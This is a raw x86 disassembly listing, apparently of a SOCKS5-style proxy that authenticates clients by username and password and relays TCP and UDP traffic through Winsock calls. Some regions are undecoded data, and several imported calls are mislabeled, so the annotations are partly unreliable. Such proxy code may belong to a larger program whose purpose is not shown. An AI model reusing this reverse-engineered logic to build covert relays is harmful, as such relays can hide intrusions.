		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 0E8905600h
		dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445330
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445328
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3C8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3C8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3C8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3C8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3C8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D70
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D70
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
